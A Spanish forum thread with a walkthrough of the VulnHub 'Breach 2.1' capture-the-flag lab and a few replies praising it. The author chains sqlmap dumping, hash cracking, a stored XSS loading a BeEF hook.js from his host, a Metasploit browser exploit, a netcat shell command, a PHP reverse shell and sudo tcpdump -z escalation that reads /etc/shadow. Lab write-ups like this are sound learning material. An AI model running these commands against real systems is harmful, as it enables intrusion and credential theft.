Underc0de

[In]Seguridad Informática => Wargames y retos => Soluciones de Wargames => Mensaje iniciado por: shkz en Septiembre 04, 2016, 06:50:03 PM

Título: VulnHub @ Completando CTF: Breach2.1
Publicado por: shkz en Septiembre 04, 2016, 06:50:03 PM
Primero que nada, gracias a vulnhub.com por agregar mi paper de resolución en español del CTF de PWNLAB INIT en su propia web, estoy a la espera del segundo jej: https://www.vulnhub.com/author/cnfs,358/ (https://www.vulnhub.com/author/cnfs,358/)

EDIT* Ya agregaron mi write-up en la web oficial de arriba jeje.

Bien arranquemos este gran CTF, que por cierto me gusto mucho mas que el anterior que resolví.

(https://1.bp.blogspot.com/-WZTtchlJc3A/V8Y8EcJSL6I/AAAAAAAAAaQ/PcgLhkOd4QQ6IuW191HF4LBnOglhQAtMACLcB/s1600/img002_grey.jpg)

Comienzo realizando un escaneo de puertos con nmap a la IP objetivo que en este caso esta estática y es la siguiente: 192.168.110.151:

nmap -sV -p- 192.168.110.151 -T5

(https://3.bp.blogspot.com/-zRGDGBrBpN0/V8Y-LTmK2VI/AAAAAAAAAag/t3Dhg4kHSFISRSOMpJSlAS68oSm7gfWagCLcB/s1600/nmap.jpg)

Vemos que figuran 3 puertos abiertos, 2 pertenecientes a rpc y el mas llamativo un ssh server corriendo en el puerto mas alto.
Procedemos a conectarnos via SSH:

cnfs@X55:~/Escritorio$ ssh 192.168.110.151 -p 65535

(https://4.bp.blogspot.com/-0p58YpkE2OM/V8Y-pKNYRXI/AAAAAAAAAak/dSJhJpaLTVkf6mN26Vay8rIaDiOipGJnACLcB/s1600/Selection_001.jpg)

Como vemos en la imagen nos arroja un banner y nos pide ingresar un password. Acá podríamos intentar bruteforcear el login pero como pensé en el CTF anterior, creo que va mas por el lado de resolverlo usando la lógica y tecnicismo que ponernos a crackear.

Después de mirar y mirar me enfoque en el banner y saque dos datos importantes, en una misma linea:

"Peter, if that's you - the password is in the source"

El usuario podría ser Peter......y la contraseña mmm "the password is.....'inthesource'??". Inserto eso, y noto como respuesta que automáticamente se cierra la conexión de manera remota. Se habrá cerrado el puerto?.. se habrá caído el servicio?. Verifiquemos con un nmap nuevamente.

(https://1.bp.blogspot.com/-aed0P8pCNh8/V8ZBPTznM1I/AAAAAAAAAaw/E6CQKtdBCSMNtySXJlj-yb9XaXJgZV-XQCLcB/s1600/Selection_002.jpg)

Ahora nos figura un nuevo puerto abierto, un puerto http. Se pone bueno esto..

Verfico con Nikto a ver si me da algo de info extra, ademas de analizarlo manualmente, y no logro obtener nada interesante. Mas que un directorio /icons/ y uno de /images/ el cual no tengo permisos para acceder. Vemos info sobre una fuga de etags.

El index es ".html", no podemos hacer mucho mas.. intento buscar ayuda con un scanner llamado Dirb el cual espero me ayude a conseguir alguna pista que no tenga a la vista:

cnfs@X55:~/bin/dirb222$ ./dirb http://192.168.110.151 wordlists/common.txt

(https://4.bp.blogspot.com/-n2oduJsDOuE/V8ZBvKfVm4I/AAAAAAAAAa0/w8WRMemMaKYFc20HRO9xmSyU1jA_EWtjwCLcB/s1600/Selection_003.jpg)

Bingo!. Resulta que hay un blog en este site. Y entre los resultados me encuentro las siguientes carpetas y archivos:

/blog/README
/blog/smilies/
/blog/wysiwyg/
/images/
/blog/



Si miramos el file README, logramos entender que se trata de unas serie de instrucciones para 'instalar' el blog. Eso quiere decir que si le damos al install.php, seguramente nos conceda el placer de instalar desde cero y setear nuestra cuenta de 'admin'.. probemos.

Luego de seguir unos 'Next' seteo la cuenta de Admin satisfactoriamente. Pero al loguear, veo que no podemos hacer mucho mas, la funcionalidad esta reducida. Muy mal... jeje. Sigo.

Verificando exploits por exploit-db, logro dar con algunos que me dan información de posibles XSS y SQLi.

Logro comprobar, que con un simple <script>alert();</script>, en el blog/register.html de la pagina, precisamente en el campo de Username, es vulnerable. Luego al ir a http://192.168.110.151/blog/members.html vemos el alert:

(https://1.bp.blogspot.com/-PHQnJteSJ-0/V8ZMDbt_AGI/AAAAAAAAAbI/gOQXEyO8OHAgllJLHgb6Pb5POSZAIiRfwCLcB/s1600/members-xss.jpg)

Luego de familiarizarme un poco mas con la web, intento correr SQLMAP para ver con que me sorprende en el siguiente path:
http://192.168.110.151/blog/index.php?search=

(https://1.bp.blogspot.com/-1g3o-g5DhWU/V8ZMwHpgAAI/AAAAAAAAAbM/wD4yJsRor1Qg-kF0OEuHNna7e6wdRseEgCLcB/s1600/Selection_004.jpg)

Y el resultado parece ser muy bueno:

(https://3.bp.blogspot.com/-SGhAvYPECt0/V8ZMw4ApIYI/AAAAAAAAAbQ/pTYBPXQSCmwG7CZTmzEOMXYjX8-88UOxACLcB/s1600/Selection_005.jpg)

Tranquilamente podria haber puesto un --all para que testee y resuelva todo automáticamente, pero preferí hacerlos mas ordenados de ese modo.
Nos alista unas 5 base de datos que contiene el sitio y en las cuales podemos analizar. Como esto es un Walkthrough voy a saltar todas las pruebas positivas y negativas realizadas, y voy directo a lo mas importante.

Luego de familiarizarme con las DB's logro dar con una base de datos llamada "oscommerce", en la cual posee una tabla llamada: osc_administrators. ;D

Dumpeamos dicha tabla:

cnfs@X55:~$ sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dump -T osc_administrators -D oscommerce

(https://1.bp.blogspot.com/-N9pZIruyv30/V8ZNqYWMgqI/AAAAAAAAAbc/_UyiwLd2LDYKo0fuUU398TzITHsT7zmSQCLcB/s1600/Selection_006.jpg)

Por lo que vemos parece ser un hash md5. Deberíamos crackearlo, pero antes de desperdiciar tiempo crackeandolo podríamos verificar en alguna base de datos online si no fue crackeado con anterioridad y alguien ya lo hizo por nosotros jeje.

Podrían usar una web como https://crackstation.net, ingresan el hash, y le dan a crack!. Tuve suerte y el resultado fue instantáneo, como dije, nos ahorramos tiempo:

(https://4.bp.blogspot.com/-MyDHPFSI1Go/V8ZN6SNMn7I/AAAAAAAAAbk/p4ajAyiEsgcu19Kt_dTgTSZ2-mQMKJ8uQCLcB/s1600/Selection_007.jpg)

(El password búsquenlo ustedes mismos, no sean vagos jeje)

Bueno continuando con el análisis, verificando algunos archivos dumpeados de la tabla oscommerce, encuentro este Path, pero al parecer no es accesible desde apache:

Tambien verificando otros archivos, pude encontrar un mail interesante: [email protected], ese ".local" da a entender que es un mail local de linux, un vhost mas que seguro.

Luego de dar vueltas y vueltas, (de verdad que tarde mucho time.. andaba poco de cafe), logre asimilar el Bannerdel /index.html que dice BEEF + el posible XSS en members.. estaba servido y a la vista. Se trataba de BEEF FRAMEWORK!!!.
Link de referencia: http://www.hackplayers.com/2012/05/beff-framework-para-mi-la-carne-muy.html (http://www.hackplayers.com/2012/05/beff-framework-para-mi-la-carne-muy.html)

(https://4.bp.blogspot.com/-zfFESxK7lRw/V8uG8vwJaII/AAAAAAAAAcE/CMclEGibf5ce6nmmu5z1mBh96BUEx6eQACLcB/s320/beef.jpg)

Bien, si corro el Wireshark a sniffear la red de la victima, logro ver algo como lo siguiente, que se repite reiteradamente, en un plazo muy corto..

(https://1.bp.blogspot.com/-5Oq1UvEmqDY/V8uHyQnWYlI/AAAAAAAAAcI/wy4kC6ZQXu8qBVU1A-CeXbZIGTv9YDb4gCLcB/s1600/Selection_10.jpg)

Es como si se tratase de un bot.

Procedo a instalar y correr el Beef Framework. Intento Hookear mi ip, para verificar que todo funciona bien y mi pc se reporta hookeada mediante el siguiente .html de prueba:

(https://2.bp.blogspot.com/-V91_Vr-AEpQ/V8uMKQBapZI/AAAAAAAAAcY/TIgifrBkCngUph4vpxzYKMFuaF4tzm33gCLcB/s1600/Selection_11.jpg)

Si ahora veo el Beef-Framework:

(https://3.bp.blogspot.com/-EzLlOPRQQ2Q/V8uNtZ4KYaI/AAAAAAAAAck/ud5le2tbw3UdhU9-pyVRaAe6-EHeCBQTACLcB/s640/Selection_12.jpg)

Bien, lo que se me ocurre hacer ahora es volver a donde había inyectado previamente el script alert, en el campo username que era vulnerable a XSS, puede que tengan que reinstalar la VM, ya que si se inyecta muchos usuarios nuevos en el campo username puede que no funcione bien. Cree un nuevo usuario con el siguiente script (en mi caso mi ip local asignada en ese momento):

<script src="http://192.168.0.104:3000/hook.js"></script>

Y eso es todo, me dispuse a esperar...esperar.. y esperar. Hasta que, it works!:

(https://4.bp.blogspot.com/-3advHqFdGfM/V8u2oHtYkQI/AAAAAAAAAc0/zjSn2egsZwAXfBa8zigH2WpnshAwipA7QCLcB/s640/Selection_13.jpg)

Finalmente obtuvimos una conexión. La victima posee un Firefox version 15.0.
Si vemos un poco mas abajo, nos encontramos con la cookie:

(https://1.bp.blogspot.com/-0EWE5Vi3djI/V8u3TTc2o-I/AAAAAAAAAc4/1RWVg5k8NWYymQD59EoSv6XSml1OjBCNQCLcB/s640/Selection_14.jpg)

La cual intentamos descifrar utilizando un site como https://hashkiller.co.uk/md5-decrypter.aspx: (https://hashkiller.co.uk/md5-decrypter.aspx:);

(https://3.bp.blogspot.com/-Ipmy04a8mr4/V8u346f6KmI/AAAAAAAAAdE/6U1YmXrv-OgKJxefd-48jWYhoWqscpvSwCLcB/s1600/Selection_15.jpg)

Buscando un poco sobre la version del Firefox, encontramos un exploit aparentemente util en Metasploit: https://www.rapid7.com/db/modules/exploit/multi/browser/firefox_proto_crmfrequest (https://www.rapid7.com/db/modules/exploit/multi/browser/firefox_proto_crmfrequest).

Ya que estoy utilizando Beef, previamente lo integre con Metasploit. El cual me permite ejecutar exploits desde Beef a las victimas con la db de exploits de metasploit. Corremos el exploit previamente dicho y..

(https://3.bp.blogspot.com/-BOLsVD2JaMs/V8vGLwcjGJI/AAAAAAAAAdU/cG6oFF4qyKQokPUJAMkCkP6riReDtW63ACLcB/s1600/Selection_16.jpg)

Si bien obtuve shell, se me cerraba realmente muy rapido, a penas segundos duraba para tipear.. por lo cual logre arriesgarme y tratar de abrir un puerto y brindar una shell salvadora con netcat. Antes de que se me desconectara tipie rapidamente:

$> nc -le /bin/sh -vp 13337

Y parece que funciono..

(https://4.bp.blogspot.com/-zyLRkI7Vw6Y/V8vR01EKXyI/AAAAAAAAAdk/yMC6d34JfnkBFHy_lA5mG8ztVkcSRYxYACLcB/s1600/Selection_17.jpg)

Necesito de mi amiga /BIN/BASH:

(https://1.bp.blogspot.com/-jxarOa4S5t8/V8vSIKvNumI/AAAAAAAAAdo/etNCXqaQ3PgpZn9iSBqvvaY_1-3hw4X6gCLcB/s1600/Selection_18.jpg)

;D.. ya la tenemos.

Investigamos un poco... encontramos el bendito script que chequeaba constantemente y nos permitio obtener la shell:

(https://3.bp.blogspot.com/-pxg3uztxozE/V8vTcIZZChI/AAAAAAAAAd0/Dm2HaumVdCMXu-lxBhbvHdWaPHlXkP2CwCLcB/s1600/Selection_19.jpg)

Sigo investigando..

(https://1.bp.blogspot.com/-l0yQOxGjr8A/V8vVCrJKQXI/AAAAAAAAAeA/hDXerpcwyz8Xc_idDKMzhX89f1v5lHakgCLcB/s400/Selection_20.jpg)

Esto nos permitira conectarnos via mysql, pero como ya lo revise y anteriormente habiamos dumpeado tablas, sigo investigando por algo nuevo..
Realizo un netstat -putona, (:P):

(https://2.bp.blogspot.com/-HEeKatJmKjQ/V8vb6rzOBeI/AAAAAAAAAeQ/etO16TkKK9ombRkfICu0QEp5ymS3rBLwACLcB/s1600/Selection_21.jpg)

Vemos que hay varios puertos, pero me llama la atención ese 2323, si telneteamos a ese puerto localmente, nos sale el siguient prompt..

(https://1.bp.blogspot.com/-NPSwjI7kAvw/V8vdRJyeGTI/AAAAAAAAAeg/zpd4qCc2nwoKpLdv4EfCe_Epoe_BvuLCQCLcB/s1600/Selection_22.jpg)

(https://2.bp.blogspot.com/-YUwOxCz8V6c/V8vdJbXbHTI/AAAAAAAAAeY/ST5wSRQaDs07p93Cgx06vcNmqSqB8QQoACLcB/s400/Selection_23.jpg)

Todo parece indicar que es Houston... mmmm.. despues de probar muchas veces, logre dar con el usuario que era el que estaba en un /home/: "milton" y la contraseña que acababa de resolver: "Houston". Sin embargo seguían las preguntas..

(https://4.bp.blogspot.com/-k7ALQiVNz6k/V8vesYhG1gI/AAAAAAAAAes/aFCfqlNbjRkmSziy3m2oIzOWX53xE3X9QCLcB/s640/Selection_24.jpg)

Whose stapler is it?..... Despues de probar y googlear, llegue a una QUIZ, donde había 4 posibles respuestas, y vaya locura pero me sirvió de pura suerte.. xD, (en la guerra todo se vale o no?).

(https://4.bp.blogspot.com/-0GKeY2BCEA8/V8vgRNrybZI/AAAAAAAAAe4/kkseRQXWrWkXp-TuajN2UpdJY4yS7iT1gCLcB/s1600/Selection_25.jpg)

Bueno verificamos, y logueamos como Milton:

(https://1.bp.blogspot.com/-Q-FSrpkOQmY/V8vg4qvvEOI/AAAAAAAAAfA/eBk5tS_KAbIWg2gUyluqxMYc-o7kp3MGgCLcB/s1600/Selection_26.jpg)

Luego de seguir verificando, hay algo interesante en el ".profile" de Milton:

(https://4.bp.blogspot.com/-SCpAB_icf9I/V8xnPARNLNI/AAAAAAAAAfc/U9VyxuItNmU1vOa5_dOmGjq0mI4qrlv7wCLcB/s1600/cat-profile.jpg)

Hay 2 lineas que ejecutan un script en python llamado cd.py e inicializa como root la aplicacion nginx.

Si verifico los puertos me llama la atencion el 8888, intento conectar como antes al localhost 8888 y sale lo siguiente:

(https://3.bp.blogspot.com/-G8rJedWRB_g/V8vihfMHw7I/AAAAAAAAAfM/jRb0XbAx_1k5hxqZPiA2kmcAabRfRI7hACLcB/s320/Selection_27.jpg)

Parece ser un NGINX, y si hablamos de un nginx estariamos hablando de un servidor http.. entro desde el chrome y logro encontrar la web de oscommerce. No logro encontar el path del login de administrador asi que vuelvo a la shell, y verifico el path..


http://192.168.110.151:8888/oscommerce/admin/index.php

Anteriormente habiamos sacado el password de esta tabla, pero al parecer no era correcto mas alla de que el hash estaba bien, la clave es admin:admin. (y la que el hash mostraba como resultado era 32admin).

Automaticamente que me loguie, trate de buscar algún modo de subir alguna shell, encontré un File Manager, pero todos los directorios me limitaban en permisos..

(https://2.bp.blogspot.com/-z2df7PJ_-iw/V8xvzkCesoI/AAAAAAAAAfs/VuvY45hMJYkzLzPz4C37wl-uNGGsIKKxACLcB/s640/Selection_28.jpg)

Hasta que encontré ese directorio llamado work. El cual tengo permiso de escritura... Subo mi reverse shell "back2.php":

(https://2.bp.blogspot.com/-qQfDYo7gLp8/V8xwo0lJOLI/AAAAAAAAAfw/iCsI8xobvjw6-lAEwDlcINzhFdxINHynwCLcB/s640/Selection_29.jpg)

Ejecutamos un netcat a la escucha del puerto que configuramos la shell.. Navegamos hasta la shell desde el chrome, y vemos si funciona:

(https://2.bp.blogspot.com/-z-LLn3WH1kc/V8xyK5PSKtI/AAAAAAAAAf8/Aib7spGYzQ4GW0sD8gOCQJ16a47j7KOagCLcB/s640/Selection_30.jpg)

Bingo!... corremos la shell bajo el usuario blumbergh. Importamos /bin/bash con python, y luego verificamos que PATH tenemos y verificamos un SUDO -l:

(https://1.bp.blogspot.com/-qQ9Nr21DDSo/V8xz_SWhWzI/AAAAAAAAAgE/YoQK5Gv1HZIolkTsdKN6NIskoOO1Ts1SgCLcB/s640/Selection_31.jpg)

Vemos que nos permite ejecutar TCPDUMP. Que raro.. e interesante.
Luego de analizar, mirar, probar... logre dar con esta referencia desde el site de seclist: http://seclists.org/tcpdump/2010/q3/68.

Tcpdump incorporo hace unos años la opcion '-z' que suele ir combinada con -C o -G. Esta opción nos permite ejecutar un comando en paralelo a la captura. Vamos a hacer una prueba...

(https://3.bp.blogspot.com/-v38pfP4FP_M/V8yHQbxnp0I/AAAAAAAAAgk/57KCCo8eso8XXkprL4gklmZsN9DpYFBnQCLcB/s640/Selection_32.jpg)

Creamos un file llamado "inject" le damos permiso +x y luego invocamos al tcpdump mediante sudo, en las instrucciones finales le pasamos como -z /tmp/inject el cual contiene un cat al etc/shadow. Como vemos, el resultado funciona! ;D.

Ahora vamos a intentar enviar una shell_reverse a un puerto que dejemos escuchando localmente, a ver si nos da Root de esa manera:

(https://2.bp.blogspot.com/-cG1BzclD9Nc/V8yJkji11UI/AAAAAAAAAgs/nL-UPO-dsQIB9Z8OCTACKjVV4i2O8JSmgCLcB/s640/Selection_33.jpg)

Efectivamente soy ROOT. Invocamos bin/bash, y luego el bendito cat flag.

(https://4.bp.blogspot.com/-EUciSWY49k0/V8yJwKdXyfI/AAAAAAAAAgw/cLLxxrjqXc0YQL06ElcABgJwr_eWKSyugCLcB/s1600/Selection_34final.jpg)

THE_END.

https://insecuritynotes.blogspot.com/2016/09/completando-ctf-breach21.html
Título: Re:VulnHub @ Completando CTF: Breach2.1
Publicado por: Gabriela en Septiembre 04, 2016, 09:03:05 PM
 
@cnfs (https://underc0de.org/foro/index.php?action=profile;u=7038)

En primer lugar agradecerte tu extenso y explicativo post.
Es de una lectura muy grata y descriptiva, permitiendo al usuario reconstruir tu experiencia sin dificultad.
Aportes así, son los que incentivan continuar aprendiendo y motivan   la búsqueda e indagación.

Saludos

Gabriela.
Título: Re:VulnHub @ Completando CTF: Breach2.1
Publicado por: shkz en Septiembre 04, 2016, 09:47:01 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@cnfs (https://underc0de.org/foro/index.php?action=profile;u=7038)

En primer lugar agradecerte tu extenso y explicativo post.
Es de una lectura muy grata y descriptiva, permitiendo al usuario reconstruir tu experiencia sin dificultad.
Aportes así, son los que incentivan continuar aprendiendo y motivan   la búsqueda e indagación.

Saludos

Gabriela.

Gracias Gaby. Se hizo extenso, pero tengo una costumbre de que generalmente voy anotando cosas cuando investigo o hago algo, eso me ayuda luego a tener la idea ya plasmada o el avance a mano para darle el toque final y postearlo jeje.

Gracias nuevamente, un saludo!.
Título: Re:VulnHub @ Completando CTF: Breach2.1
Publicado por: blackdrake en Septiembre 05, 2016, 08:13:53 AM
I N C R E I B L E

Aportazo sin duda, grandísima idea al usar tcpdump con la shell.

Y muchísimas gracias por estos aportazos, que siempre vienen bien para aprender cosas nuevas ^^

Llegarás muy lejos @cnfs (https://underc0de.org/foro/index.php?action=profile;u=7038), sigue así.

Un saludo.
Título: Re:VulnHub @ Completando CTF: Breach2.1
Publicado por: shkz en Septiembre 05, 2016, 09:58:22 PM
Muchas gracias Black, me alegra que haya gustado. Espero pronto aportar nuevamente.. solo es cuestion de tiempo de sentarme a escribir e investigar.

Saludos!